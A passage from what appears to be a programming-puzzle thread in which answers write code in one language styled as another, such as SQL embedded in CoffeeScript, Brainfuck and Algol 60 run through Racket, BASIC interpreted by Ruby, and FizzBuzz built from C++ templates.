sql.activeColumns = [] for col in columns if typeof col is 'function' col = col() sql.activeColumns.push col.name sql.activeRows = [] for val in sql.activeTable[sql.activeTable.columns[0]] sql.activeRows.push [] for col in sql.activeTable.columns for val, i in sql.activeTable[col] sql.activeRows[i].push val IN = (list) -> { op: 'in', list } WHERE = (column) -> i = sql.activeTable.columns.indexOf(column.name) if column.args[0].op is 'in' list = column.args[0].list sql.activeRows = (row for row in sql.activeRows when row[i] in list) else console.log 'Not supported!' ASC = 'asc' DESC = 'desc' BY = (x) -> x ORDER = (column) -> i = sql.activeTable.columns.indexOf(column.name) order = if column.args[0] is sql.ASC then 1 else -1 sql.activeRows.sort (a,b) -> if a[i] < b[i] return -order else if a[i] > b[i] return order else return 0 ``` Well that was quite a lot of setup! But now we can do the following (input/output in a console style): ``` > sql.run -> CREATE TABLE @books( @title varchar(255), @author varchar(255), @year int ); Create Table 'books' > sql.run -> INSERT INTO @books VALUES ['The C++ Programming Language', 'Bjarne Stroustrup', 1985], ['Effective C++', 'Scott Meyers', 1992], ['Exceptional C++', 'Herb Sutter', 2000], ['Effective STL', 'Scott Meyers', 2001]; Inserted 4 rows > sql.run -> SELECT @title, @year FROM @books WHERE @author IN ['Bjarne Stroustrup', 'Scott Meyers'] ORDER BY @year DESC; [ [ 'Effective STL', 2001 ], [ 'Effective C++', 1992 ], [ 'The C++ Programming Language', 1985 ] ] ``` It's not an actual polyglot, but that's not really the point. I know that `@` is used for variables in SQL, but I need all the `@`s for column and table names because I haven't found a way to proxy the global object (and I wouldn't be surprised if it's really not possible - and for a good reason). I also changed some parentheses into brackets (in particular after `VALUES` and `IN`). Unfortunately, what I couldn't figure out at all is a way to allow normal conditionals like `year > 2000`, because they would evaluate to a boolean right away. Still this looks a lot like SQL and is definitely more declarative than imperative/functional/object-oriented so it should qualify nicely for the question. I'm actually thinking if I polished the code a bit and supported a few more features, this could be a useful CoffeeScript module. Anyway, this was fun! :) For those not too familiar with CoffeeScript, the SQL queries compile to the following JavaScript: ``` sql.run(function() { return CREATE( TABLE( this.books( this.title(varchar(255), this.author(varchar(255), this.year(int))) ) ) ); }); sql.run(function() { INSERT(INTO(this.books)); return VALUES([...], ['Effective C++', 'Scott Meyers', 1992], [...], [...]); }); sql.run(function() { SELECT(this.title, this.year(FROM(this.books))); WHERE(this.author(IN(['Bjarne Stroustrup', 'Scott Meyers']))); return ORDER(BY(this.year(thisESC))); }); ``` [Answer] # Visual Basic 6 (in JavaScript) ``` '; Main sub-routine \ '; function Main() { ' \ Sub Main() ' ' Do not throw any errors... \ On Error Resume Next '; MsgBox = alert ' Show a message box... \ MsgBox(1 / 0) ' ' Show errors again... \ On Error GoTo 0 ' ' Show another message box... ' MsgBox("Hello") ' ' } ' \ End Sub ' Main() ``` It also works in VBScript. [Answer] ## F# in C++ Rather unimaginative and nasty abuse of the preprocessor. I thought it'd be fun to alter C++ to look like a completely dissimilar language instead of using a few aliases to make it look like Java or PHP. I'm not really expecting this to garner a ton of upvotes, it's a just-for-fun entry. ``` #define let int #define args ( int __, char* args[] ) { int ___ #define println printf( #define exit "\n" ); return 0; } #include <stdio.h> let main args = println "F# is better than C++" exit ``` Try it [here](http://ideone.com/fHNTvX). Sadly writing something to STDOUT is about all it can do, although I'm sure if someone threw enough witchcraft at it they could make it do more. [Answer] # Python and... nobody will guess (edit: dc) Here is some valid python code, but actually the program is written in a very different language: ``` # Initialize systems 1 and 2 # frame 1, divergency speed and divergency latency f1ds, f1dl, z1 = [2,2,0] # frame 2, divergency speed and divergency latency f2ds, f2dl, z2 = [4,4,1] # Set the most relevant value of ax (detected by low-energy collision) ax = 42.424242 # Initialize list of successive energy states s = [17.98167, 21.1621, 34.1217218, 57.917182] # Most common value for nz parameter # TODO: check if value from the article of A. Einstein is better nz = 10 if z2>nz or ax in s: ax += 6 f1ds = 8 f2ds = 16 z1 = 4 z2 = 9 f1dl += z1 f2dl += z2 # main loop, iterate over all energy states # Warning: hit Ctrl-C if nuclear explosion occurs and adjust either z or nz for k in s: z = nz + k f1dl = f1ds + f2dl * z - z1 + 3.14 f2dl = f2ds + f1dl * z - z2 + 10 if k > 10 or z-2 in s: nz += 0xac # hexadecimal coefficient found in famous article by E. Fermi ``` The code runs in both languages with no error. The combination is very crazy; I would be happy to wait one day or two before telling which is the other language; please leave comments for guessing. **edit:** The language was the stack-based language from dc. You may see here well-known keywords like `for`, `if`, `or`, `in`, but only the letters matter! The `,` which has no meaning in dc is turned to a register because the first time it appears is after the letter `s` (the same for `:`). [Answer] C++ allows you to write lisp-like code, with the InteLib library: ``` (L|DEFUN, ISOMORPHIC, (L|TREE1, TREE2), (L|COND, (L|(L|ATOM, TREE1), (L|ATOM, TREE2)), (L|(L|ATOM, TREE2), NIL), (L|T, (L|AND, (L|ISOMORPHIC, (L|CAR, TREE1), (L|CAR, TREE2)), (L|ISOMORPHIC, (L|CDR, TREE1), (L|CDR, TREE2)) )))).Evaluate(); ``` cf. <http://www.informatimago.com/articles/life-saver.html> [Answer] # C# in Whitespace Okay, first try at one of these, so let's see how it goes. ``` using System; //very important namespace ConsoleApplication1 //namespace: name whatever you want { //start class Program //class name: also anything { //main function static void Main(string[] args) { for(int i=0;i<10;i++) writeOutput(i); } //end main static void writeOutput(int i) { Console.WriteLine(i); } //display output } //class ends here } //close namespace: also very important //yay! ``` And in case the formatting went screwy from having to put four spaces at the front of each line, here it is again with . for space and # for tab: ``` using.System;.//very.important# namespace.ConsoleApplication1..//namespace:#name.whatever.you.want## {. .//start# .class#Program..//class.name:#also.anything#. #{ ....//main.function# #static.void.Main(string[].args).{ ....#for(int.i=0;i<10;i++)#writeOutput(i);# #}.//end.main# #static.void.writeOutput(int#i).{.Console.WriteLine(i);.}#//display.output# . .#}.//class.ends.here.## }..//close.namespace:#also.very.important#.# . //yay! ``` [Answer] # HTML and CSS Not programming languages, but … this document is valid HTML *and* CSS: ``` <!-- p{color:red} /* --> <!Doctype html> <title>This is HTML and CSS</title> <p>Hi!</p> <!-- */ --> ``` ``` <!-- p{color:red} /* --> <!Doctype html> <title>This is HTML and CSS</title> <p>Hi!</p> <!-- */ --> ``` This works, because HTML comments are allowed in stylesheets for historical reasons. Oh, and every valid HTML document is a valid PHP program too, so this is also **PHP**. :) [Answer] # C in Scala The bridging layer emulates a more romantic era when strings were still null terminated arrays of bytes. ``` // Scala is a dynamic language import scala.language.{ dynamics, postfixOps } val self = this val argc = args.length val argv = args.map(_.getBytes) type char = Array[Byte] object char extends Dynamic { // This program uses expanded memory val buffers = new scala.collection.mutable.LinkedHashMap[String, char] // Malloc char buffer def applyDynamic(name: String)(length: Int) = buffers(name) = new Array(length) def **(argv: Array[Array[Byte]]) = argv } object & extends Dynamic { // dereference char pointer def selectDynamic(name: String) = char.buffers(name) } def printf(format: String, buffers: char*) = println( (format /: buffers){ case (msg, buffer) => // Read string until \0 terminator val value = new String(buffer.takeWhile(0 !=)) // Replace next %s token msg.replaceFirst("%s", value) } ) def scanf(format: String, buffers: char*) = buffers foreach { buffer => val line = Console.readLine() // Write string to char* buffer line.getBytes(0, line.length, buffer, 0) // Remember to always null terminate your strings! buffer(line.length) = 0 } val PATH_MAX = 4096 implicit class Argumenter(args: Pair[_, _]) { def apply[T](f: => T) = f } object int { // Passthrough def main[T](f: => T) = f def argc = self.argc } // terminates the string after the first character // investigate switching to "xor eax, eax" instead of having a hardcoded 0 // might save 3 bytes and valuable CPU time with this trick val initialize = (_: char)(1) = 0 def exit(value: Int) = sys.exit(value) ``` ``` // ---HOMEWORK-ASSIGNMENT-START--- int main(int argc, char **argv) { if (argc != 0) { printf("This program does not take parameters!"); exit(1); } // I've copy pasted this code from somewhere // Code reuse is essential if we want to be DRY char first(PATH_MAX + 1); char last(PATH_MAX + 1); printf("Enter your first and last name:\n"); scanf("%s%s", &first, &last); // Still learning references, do I need these here? // I've performed benchmarks on printf and I think it's faster this way printf("Your full name is %s %s", &first, &last); initialize(&first); printf("Your signature is %s. %s", &first, &last); exit(0); } ``` [Answer] # sed and APL My boss wants me to write sed scripts, but I like rather writing APL all the day. Nevertheless, he is very happy with my job because such scripts run perfectly with his version of sed: ``` i ← g ← 42 a ← d ← 10 s/s←2⊤42/s←2⊤43/g s/s[01]*1/s⊣1/g g ``` You can try it on my new [website](http://baruchel.hd.free.fr/apps/apl/) with this [permalink](http://baruchel.hd.free.fr/apps/apl/#code=i%20%E2%86%90%20g%20%E2%86%90%2042%0Aa%20%E2%86%90%20d%20%E2%86%90%2010%0As%2Fs%E2%86%902%E2%8A%A442%2Fs%E2%86%902%E2%8A%A443%2Fg%0As%2Fs%5B01%5D%2a1%2Fs%E2%8A%A31%2Fg%0Ag). It is a compiled to javascript version of GNU APL. Final release will be later with official release of GNU APL, v. 1.3 but you can perfectly use it for your permalinks if you enjoy GNU APL. [Answer] # C in Haskell ``` import Foreign.C.String import Foreign.C.Types import Foreign.Marshal.Array import Foreign.Ptr import System.Environment import System.Exit -- The meat of the program cmain :: (CInt, Ptr (Ptr CChar)) -> IO CInt cmain(argc, argv) = do { putStr("hello, world\n"); return 0; } -- Of course, the above function doesn't do anything unless we write a wrapper -- around it. This could have been done more simply, using higher-level library -- functions, but where's the fun in that? main :: IO () main = do { args <- getArgs; argPtrs <- sequence [do { argPtr <- mallocArray0(length(arg)) :: IO (Ptr CChar); pokeArray0(0)(argPtr)(map(castCharToCChar)(arg)); return argPtr; } | arg <- args ]; argv <- mallocArray(length(argPtrs)) :: IO (Ptr (Ptr CChar)); pokeArray(argv)(argPtrs); exitCode <- cmain(fromIntegral(length(args)),argv); if (exitCode == 0) then do { exitWith(ExitSuccess); } else do { exitWith(ExitFailure(fromIntegral(exitCode))); }; } ``` Of course, since `cmain` doesn't do anything with `argc` or `argv`, the argument-marshaling code has no effect, and since `cmain` always returns 0, the "else" branch of the "if" statement is dead. But the "if" statement doesn't do anything anyway. All of the braces and semicolons are unnecessary, as are most of the parentheses and some of the `do` keywords. The "if" statement could have been written as `if exitCode == 0 then exitWith ExitSuccess else exitWith (ExitFailure (fromIntegral exitCode))`. [Answer] ## C++ in Forth ``` : #include ; : <iostream> ; : { ; : } ; : int ; : using ; : namespace ; : std; ; : main() ; : cout ; : << ; : "Hello, ; : world!\n"; S" Hello, world!" type ; : return ; : 0; ; #include <iostream> using namespace std; int main() { cout << "Hello, world!\n"; } ``` Not the most flexible solution, but it works if written exactly as shown. [Answer] # Haskell in Java ("vanilla" Java 7, not Java 8) (Yes, I know that boxing ruins performance; and even trying to use higher order functions gets crazy verbose :D) Java has very rigid syntax, so instead of changing syntax I tried to make code semantically more similar to Haskell style. Edit — added partial function application. ``` import java.util.Iterator; interface Function1<A, B> { A call(B arg); } interface Function2<A, B, C> { A call(B arg1, C arg2); } class Reduce<A> implements Function2<A, Function2<A, A, A>, Iterable<A>> { @Override public A call(Function2<A, A, A> arg1, Iterable<A> arg2) { final Iterator<A> i = arg2.iterator(); A r = i.next(); while (i.hasNext()) r = arg1.call(r, i.next()); return r; } } class Range implements Iterable<Integer> { private final int min; private final int max; public Range(int min, int max) { this.min = min; this.max = max; } @Override public Iterator<Integer> iterator() { return new Iterator<Integer>() { int i = min; @Override public boolean hasNext() { return i <= max; } @Override public Integer next() { return i++; } @Override public void remove() { throw new UnsupportedOperationException(); } }; } } public class Main { public static <A, B, C> Function1<A, C> applyPartial(final Function2<A, B, C> f, final B arg2) { return new Function1<A, C>() { @Override public A call(C arg) { return f.call(arg2, arg); } }; } public static void main(String[] args) { final Function1<Integer, Iterable<Integer>> product = applyPartial(new Reduce<Integer>(), new Function2<Integer, Integer, Integer>() { @Override public Integer call(Integer arg1, Integer arg2) { return arg1 * arg2; } }); final Function1<Integer, Integer> fact = new Function1<Integer, Integer>() { @Override public Integer call(Integer arg) { return product.call(new Range(1, arg)); } }; final Integer x = fact.call(6); System.out.println(x.toString()); } } ``` (Yes, all that this madness does is computing `6!`) [Answer] **COBOL in AWK** In the spirit of the quote. Pure, unadulterated AWK, as it may be written by a COBOL programmer. The task is to count the records on a file. This early development version is counting itself for testing. The correct file will be hard-coded later when released from Unit Testing... If I could get the syntax highlighting to do phosphorescent-green on black, it would be great... Even got the column-numbers correct on this one, that's seven blanks at the start of each line (never done that in awk before) and breaking the long print statements at column 72. ``` BEGIN { PERFORM_000_INITIALISATION() PERFORM_100_OPEN_FILES() PERFORM_200_PROCESS_FILE() PERFORM_300_CLOSE_FILES() PERFORM_400_SHOW_THE_COUNTS() exit } function PERFORM_000_INITIALISATION() { INPUT_FILE_NAME = "COBOL.AWK" RECORD_COUNT = 0 } function PERFORM_100_OPEN_FILES() { } function PERFORM_200_PROCESS_FILE() { PERFORM_210_PRIMING_READ() PERFORM_220_PROCESS_INPUT_UNTIL_END() } function PERFORM_300_CLOSE_FILES() { } function PERFORM_400_SHOW_THE_COUNTS() { print "COBOL.AWK: NUMBER OF RECORDS READ IS " RECORD_COUNT } function PERFORM_210_PRIMING_READ() { PERFORM_900_READ_THE_FILE() if ( FILE_STATUS < 0 ) { print "COBOL.AWK ERR0001: INVALID FILE, HALTING, FILE N" \ "AME IS: " INPUT_FILE_NAME exit } if ( FILE_STATUS == 0 ) { print "COBOL.AWK ERR0002: NO RECORDS ON INPUT, HALTING," \ "FILE NAME IS: " INPUT_FILE_NAME exit } } function PERFORM_220_PROCESS_INPUT_UNTIL_END() { while ( FILE_STATUS != 0 ) { INPUT_RECORD = $0 RECORD_COUNT = RECORD_COUNT + 1 PERFORM_900_READ_THE_FILE() } } function PERFORM_900_READ_THE_FILE() { FILE_STATUS = getline < INPUT_FILE_NAME } ``` [Answer] ## SML in Java I still have some ancient code around from when I started learning Java and tried to use it in a functional style. Slightly cleaned up: ``` /** * Genericised ML-style list. */ public class FunctionalList<T> { private final T head; private final FunctionalList<T> tail; public FunctionalList(T x, FunctionalList<T> xs) { this.head = x; this.tail = xs; } public static <T> FunctionalList<T> cons(T x, FunctionalList<T> xs) { return new FunctionalList<T>(x, xs); } public static <T> T hd(FunctionalList<T> l) { return l.head; } public static <T> FunctionalList<T> tl(FunctionalList<T> l) { return l.tail; } public static int length(FunctionalList<?> l) { return len(l, 0); } private static int len(FunctionalList<?> l, int n) { return l == null ? n : len(tl(l), n + 1); } public static <T> FunctionalList<T> rev(FunctionalList<T> l) { return rev(l, null); } private static <T> FunctionalList<T> rev(FunctionalList<T> a, FunctionalList<T> b) { return a == null ? b : rev(tl(a), cons(hd(a), b)); } public static <T> FunctionalList<T> append(FunctionalList<T> a, FunctionalList<T> b) { return a == null ? b : cons(hd(a), append(tl(a), b)); } } ``` [Answer] # Java in Perl May count as rule breaking, but I don't care. Obviously, it's intended to look like Java program. It prints 20 Fibonacci numbers, in case it isn't obvious. > > Requires **Inline::Java** module to be installed. > > > ``` use Inline Java => <<'JAVA'; /** * @author Konrad Borowski <[[email protected]](/cdn-cgi/l/email-protection)> * @version 0.1.0 */ class Fibonacci { /** * Responsible for storing the number before last generated number. */ private long beforeLastNumber = 0; /** * Responsible for storing the last generated number. */ private long lastNumber = 1; /** * Receives the next Fibonacci number. * * @return long integer that is the next Fibonacci number */ public long next() { long temponaryLastNumber = lastNumber; lastNumber = beforeLastNumber + lastNumber; beforeLastNumber = temponaryLastNumber; return temponaryLastNumber; } /** * Outputs the Fibonacci number to standard output. */ public void printFibonacci() { System.out.println(next()); } /** * Outputs the Fibonacci number to standard output given number of * times. * * @param times number of times to print fibonacci number */ public void printFibonacciTimes(int times) { int i; for (i = 0; i < times; i++) { printFibonacci(); } } /** * Constructor for Fibonacci object. Does nothing. */ public Fibonacci() { // Do nothing. } } JAVA ### # The executable class that shows 20 Fibonacci numbers. ## package OutputFibonacci { ### # Shows 20 Fibonacci numbers. This method is public, # static, and returns void. ## sub main() { # In Perl, -> is object method separator, not a dot. This is stupid. new Fibonacci()->printFibonacciTimes(20); } } # Perl doesn't automatically call main method. OutputFibonacci::main(); ``` [Answer] ## Brainfuck (or anything else) in Racket Racket's flexible module and macro system allows it to implement module support for entirely new languages, both domain-specific and general-purpose. There is out of the box support for both [Datalog](http://docs.racket-lang.org/datalog/index.html) and [Algol 60](http://docs.racket-lang.org/algol60/index.html), so the following are both valid Racket programs: ``` #lang datalog edge(a, b). edge(b, c). edge(c, d). edge(d, a). path(X, Y) :- edge(X, Y). path(X, Y) :- edge(X, Z), path(Z, Y). path(X, Y)? #lang algol60 begin integer procedure SIGMA(x, i, n); value n; integer x, i, n; begin integer sum; sum := 0; for i := 1 step 1 until n do sum := sum + x; SIGMA := sum; end; integer q; printnln(SIGMA(q*2-1, q, 7)); end ``` You can also add support for other languages: e.g. see [Danny Yoo's description](https://www.hashcollision.org/brainfudge/) of how to implement support for Brainfuck, which permits Racket programs such as: ``` #lang planet dyoo/bf ++++++[>++++++++++++<-]>. >++++++++++[>++++++++++<-]>+. +++++++..+++.>++++[>+++++++++++<-]>. <+++[>----<-]>.<<<<<+++[>+++++<-]>. >>.+++.------.--------.>>+. ``` And since the support is added at the compiled module level, it's possible to link modules written in different languages or embed a snippet of one language inside a module written in another. [Answer] # J and... nobody will guess (edit: dc) This is my second entry; here is a piece of valid J code, which returns 1: ``` 10 o. 1 r. 2 i. 4 [ ( 0:`1: @. (2&|)) ] 8 #: *:@+: 42 ``` I am waiting one or two day before telling which is the other language running the very same piece of code with no error. Just leave comments for trying to guess. **edit:** The other language is the stack-based language from the very ancient Unix calculator dc. [Answer] # dc running a PostScript file dc can run the following piece of code with no error: ``` 10 10 10 10 10 42 32 10 10 stop % first send a stop 0 0 srand rand le pop pop 3.14 sin lt 2 3 lt and pop le 2 10 le xor pop pop pop 1 0 0 << /sox 2 >> [ exch begin sox end ] aload 3.14 floor ``` [Answer] # ML/(Strict) Haskell in Java This is from an actual real project. It makes use of persistent immutable data structures and uses recursion even when not necessary. Actually, it's more like Kore (the language the project implements) in Java, but the style is basically the same as ML. But the philosophy of Kore is that the author shouldn't format his code, so none of the Java code is formatted either (it's autoformatted by eclipse). [drop n elements from a list](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/ListUtils.java#L226): ``` public static <T> List<T> drop(List<T> l, Integer n) { return n == 0 ? l : drop(l.cons().tail, n - 1); } ``` In ML/Haskell, where you'd pattern match to extract the head and tail, here you say `list.cons().x` and `list.cons().tail`. [insert an element in a list](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/ListUtils.java#L209): ``` public static <T> List<T> insert(List<T> l, Integer i, T x) { if (i == 0) return cons(x, l); return cons(l.cons().x, insert(l.cons().tail, i - 1, x)); } ``` List is [defined](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/List.java) literally how the algebraic datatype would be defined. Here is a version with the eclipse-generated boilerplate removed: ``` public final class List<T> { public static final class Nil<T> { } public static final class Cons<T> { public final T x; public final List<T> tail; public Cons(T x, List<T> tail) { if (x == null) throw new RuntimeException("null head"); if (tail == null) throw new RuntimeException("null tail"); this.x = x; this.tail = tail; } } private final Nil<T> nil; private final Cons<T> cons; private List(Nil<T> nil, Cons<T> cons) { this.nil = nil; this.cons = cons; } public boolean isEmpty() { return nil != null; } public Nil<T> nil() { if (nil == null) throw new RuntimeException("not nil"); return nil; } public Cons<T> cons() { if (cons == null) throw new RuntimeException("not cons"); return cons; } public static <T> List<T> cons(Cons<T> cons) { if (cons == null) throw new RuntimeException("constructor received null"); return new List<T>(null, cons); } public static <T> List<T> nil(Nil<T> nil) { if (nil == null) throw new RuntimeException("constructor received null"); return new List<T>(nil, null); } } ``` [Here](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/Map.java) is a map data structure implemented in terms of a [trie](https://en.wikipedia.org/wiki/Trie): ``` public final class Map<K, V> { private final Tree<Character, Optional<Pair<K, V>>> tree; // keys are sorted in reverse order so entrySet can use cons instead of append private final Comparer<Pair<Character, Tree<Character, Optional<Pair<K, V>>>>> comparer = new PairLeftComparer<Character, Tree<Character, Optional<Pair<K, V>>>>( new ReverseComparer<Character>(new CharacterComparer())); private Map(Tree<Character, Optional<Pair<K, V>>> tree) { this.tree = tree; } public static <K, V> Map<K, V> empty() { return new Map<K, V>(new Tree<Character, Optional<Pair<K, V>>>( OptionalUtils.<Pair<K, V>> nothing(), ListUtils .<Pair<Character, Tree<Character, Optional<Pair<K, V>>>>> nil())); } public Optional<V> get(K k) { Tree<Character, Optional<Pair<K, V>>> t = tree; for (char c : k.toString().toCharArray()) { Tree<Character, Optional<Pair<K, V>>> t2 = getEdge(t, c); if (t2 == null) return nothing(); t = t2; } if (t.v.isNothing()) return nothing(); return some(t.v.some().x.y); } public Map<K, V> put(K k, V v) { return new Map<K, V>(put(tree, k.toString(), v, k)); } private Tree<Character, Optional<Pair<K, V>>> put( Tree<Character, Optional<Pair<K, V>>> t, String s, V v, K k) { if (s.equals("")) return new Tree<Character, Optional<Pair<K, V>>>(some(Pair.pair(k, v)), t.edges); char c = s.charAt(0); Tree<Character, Optional<Pair<K, V>>> t2 = getEdge(t, c); if (t2 == null) return new Tree<Character, Optional<Pair<K, V>>>( t.v, sort( cons( pair( c, put(new Tree<Character, Optional<Pair<K, V>>>( OptionalUtils.<Pair<K, V>> nothing(), ListUtils .<Pair<Character, Tree<Character, Optional<Pair<K, V>>>>> nil()), s.substring(1), v, k)), t.edges), comparer)); return new Tree<Character, Optional<Pair<K, V>>>(t.v, sort( replace(pair(c, put(t2, s.substring(1), v, k)), t.edges), comparer)); } private List<Pair<Character, Tree<Character, Optional<Pair<K, V>>>>> replace( Pair<Character, Tree<Character, Optional<Pair<K, V>>>> edge, List<Pair<Character, Tree<Character, Optional<Pair<K, V>>>>> edges) { if (edges.cons().x.x.equals(edge.x)) return cons(edge, edges.cons().tail); return cons(edges.cons().x, replace(edge, edges.cons().tail)); } // I consider this O(1). There are a constant of 2^16 values of // char. Either way it's unusual to have a large amount of // edges since only ASCII chars are typically used. private Tree<Character, Optional<Pair<K, V>>> getEdge( Tree<Character, Optional<Pair<K, V>>> t, char c) { for (Pair<Character, Tree<Character, Optional<Pair<K, V>>>> p : iter(t.edges)) if (p.x.equals(c)) return p.y; return null; } public Map<K, V> delete(K k) { return new Map<K, V>(delete(tree, k.toString()).x); } private Pair<Tree<Character, Optional<Pair<K, V>>>, Boolean> delete( Tree<Character, Optional<Pair<K, V>>> t, String k) { if (k.equals("")) return pair( new Tree<Character, Optional<Pair<K, V>>>( OptionalUtils.<Pair<K, V>> nothing(), t.edges), t.edges.isEmpty()); char c = k.charAt(0); Tree<Character, Optional<Pair<K, V>>> t2 = getEdge(t, c); if (t2 == null) return pair(t, false); Pair<Tree<Character, Optional<Pair<K, V>>>, Boolean> p = delete(t2, k.substring(1)); List<Pair<Character, Tree<Character, Optional<Pair<K, V>>>>> edges = nil(); for (Pair<Character, Tree<Character, Optional<Pair<K, V>>>> e : iter(t.edges)) if (!e.x.equals(c)) edges = cons(e, edges); if (!p.y) return pair( new Tree<Character, Optional<Pair<K, V>>>(t.v, cons(pair(c, p.x), edges)), false); boolean oneEdge = t.edges.cons().tail.isEmpty(); return pair(new Tree<Character, Optional<Pair<K, V>>>(t.v, edges), oneEdge && t.v.isNothing()); } public static class Entry<K, V> { public Entry(K k, V v) { this.k = k; this.v = v; } public final K k; public final V v; } public List<Entry<K, V>> entrySet() { return entrySet(ListUtils.<Entry<K, V>> nil(), tree); } private List<Entry<K, V>> entrySet(List<Entry<K, V>> l, Tree<Character, Optional<Pair<K, V>>> t) { if (!t.v.isNothing()) { Pair<K, V> p = t.v.some().x; l = cons(new Entry<K, V>(p.x, p.y), l); } for (Pair<Character, Tree<Character, Optional<Pair<K, V>>>> e : iter(t.edges)) l = entrySet(l, e.y); return l; } } ``` The types start to take up as much space as the code. For example, in [put](https://github.com/andrew-miller/kore/blob/ab50b859c8519b653c5ed5155247ac49ec0c72a7/Kore/src/com/example/kore/utils/Map.java#L53), the method has 302 characters of types and 343 characters of code (not counting space/newlines). [Answer] # BASIC in Ruby Implemented this long ago. The [source is on GitHub](https://github.com/duckinator/rbaysick). Inspired by a [similar thing in Scala](https://github.com/fogus/baysick) ## Setup ``` #!/usr/bin/env ruby if caller.empty? && ARGV.length > 0 $file = ARGV[0] else $file = caller.last.split(':').first end require 'pp' class String def %(other) self + other.to_s end end class RBaysick @@variables = {} @@code = [] @@line = 0 def initialize(contents) $DONT_RUN = true # To avoid endless loops. contents.gsub!(/( |\()'([^\W]+)/, '\1:\2 ') contents.gsub!(/(^| |\()(:[^\W]+)/, '\1GET(\2)') contents.gsub!(/ IF (.*) THEN (.*)/, ' IF { \1 }.THEN { GOTO \2 }') contents.gsub!(/LET *\(([^ ]+) *:= *(.*)\)/, 'LET(\1) { \2 }') contents.gsub!(/(LET|INPUT)(\(| )GET\(/, '\1\2(') contents.gsub!(/ \(/, '(') contents.gsub!(/^(\d+) (.*)$/, 'line(\1) { \2 }') # contents.gsub!(/(\)|\}|[A-Z]) ([A-Z]+)/, '\1.\2') contents.gsub!(/ END /, ' __END ') contents.gsub!(/^RUN/, '__RUN') puts contents if $DEBUG eval contents end def __RUN while @@line > -1 puts "#{@@line}: #{@@code[@@line].inspect}" if $DEBUG unless @@code[@@line].nil? @@increment = true @@code[@@line].call next unless @@increment end @@line += 1 end end class If < Struct.new(:value) def THEN yield if value end end def method_missing(name, *args) puts "Missing: #{name.to_s}(#{args.map(&:inspect).join(', ')})" if $DEBUG end def variables @@variables end def line(line, &block) @@code[line] = block end def add(line, cmd, *args) puts "DEBUG2: #{cmd.to_s}(#{args.map(&:inspect).join(', ')})" if $DEBUG @@code[line] = send(cmd, *args) end def IF ::RBaysick::If.new(yield) end def PRINT(str) puts "PRINT(#{str.inspect})" if $DEBUG puts str true end def LET(name, &block) puts "LET(#{name.inspect}, #{block.inspect})" if $DEBUG @@variables[name] = block.call end def GET(name) puts "GET(#{name.inspect}) #=> #{@@variables[name].inspect}" if $DEBUG @@variables[name] end def INPUT(name) puts "INPUT(#{name.inspect})" if $DEBUG LET(name) { $stdin.gets.chomp.to_i } end def ABS(val) puts "ABS(#{val.inspect}) #=> #{val.abs.inspect}" if $DEBUG val.abs end def GOTO(line) @@increment = false @@line = line end def __END exit end end RBaysick.new(open($file).read) unless $DONT_RUN || ($0 != __FILE__) ``` ## BASIC code ``` #!./rbaysick.rb 10 PRINT "Welcome to Baysick Lunar Lander v0.0.1" 20 LET ('dist := 100) 30 LET ('v := 1) 40 LET ('fuel := 1000) 50 LET ('mass := 1000) 60 PRINT "You are a in control of a lunar lander." 70 PRINT "You are drifting towards the surface of the moon." 80 PRINT "Each turn you must decide how much fuel to burn." 90 PRINT "To accelerate enter a positive number, to decelerate a negative" 100 PRINT "Distance " % 'dist % "km, " % "Velocity " % 'v % "km/s, " % "Fuel " % 'fuel 110 INPUT 'burn 120 IF ABS('burn) <= 'fuel THEN 150 130 PRINT "You don't have that much fuel" 140 GOTO 100 150 LET ('v := 'v + 'burn * 10 / ('fuel + 'mass)) 160 LET ('fuel := 'fuel - ABS('burn)) 170 LET ('dist := 'dist - 'v) 180 IF 'dist > 0 THEN 100 190 PRINT "You have hit the surface" 200 IF 'v < 3 THEN 240 210 PRINT "Hit surface too fast (" % 'v % ")km/s" 220 PRINT "You Crashed!" 230 GOTO 250 240 PRINT "Well done" 250 END RUN ``` [Answer] # Haskell in C++ templates I made this FizzBuzz in C++ templates a few months ago on a lark. It is pretty much an implementation of the following Haskell code, all in C++ templates. In fact, even the integer arithmetic is reimplemented at the type level --- notice that none of the templates use int parameters! The Haskell code: ``` import Control.Monad m `divides` n = (n `mod` m == 0) toFizzBuzz n | 15 `divides` n = "FizzBuzz" | 5 `divides` n = "Buzz" | 3 `divides` n = "Fizz" | otherwise = show n main = mapM_ putStrLn $ take 100 $ map toFizzBuzz [1..] ``` and the C++ template metaprogramming version: ``` // // Lazy compile-time fizzbuzz computed by C++ templates, // without conditionals or the use of machine arithmetic. // // -- Matt Noonan ([[email protected]](/cdn-cgi/l/email-protection)) #include <iostream> using namespace std; // // The natural numbers: Nat = Zero | Succ Nat // template <typename n> struct Succ { typedef Succ eval; static const unsigned int toInt = 1 + n::toInt; static void print(ostream & o) { o << toInt; } }; struct Zero { typedef Zero eval; static const unsigned int toInt = 0; static void print(ostream & o) { o << toInt; } }; // // Arithmetic operators // Plus Zero n = n // Plus Succ(n) m = Plus n Succ(m) // Times Zero n = Zero // Times Succ(n) m = Plus m (Times n m) // template <typename a, typename b> struct Plus { typedef typename Plus<typename a::eval, typename b::eval>::eval eval; }; template <typename M> struct Plus <Zero, M> { typedef typename M::eval eval; }; template <typename N, typename M> struct Plus <Succ<N>, M> { typedef typename Plus<N, Succ<M> >::eval eval; }; template <typename a, typename b> struct Times { typedef typename Times<typename a::eval, typename b::eval>::eval eval; }; template <typename M> struct Times <Zero, M> { typedef Zero::eval eval; }; template <typename N, typename M> struct Times <Succ<N>, M> { typedef typename Plus<M, typename Times<N,M>::eval >::eval eval; }; // // Lists // struct Nil { typedef Nil eval; static void print(ostream & o) { } }; template <typename x, typename xs> struct Cons { typedef Cons eval; static void print(ostream & o) { x::eval::print(o); o << endl; xs::eval::print(o); } }; // // Take the first n elements of a list // template <typename, typename> struct Take; template <typename _> struct Take<Zero,_> { typedef Nil eval; }; template <typename n, typename x, typename xs> struct Take<Succ<n>, Cons<x,xs> > { typedef Cons<x, Take<n, xs> > eval; }; template <typename a, typename b> struct Take { typedef typename Take<typename a::eval, typename b::eval>::eval eval; }; // // Iterate f x0 makes the infinite list // x0, f(x0), f(f(x0)), 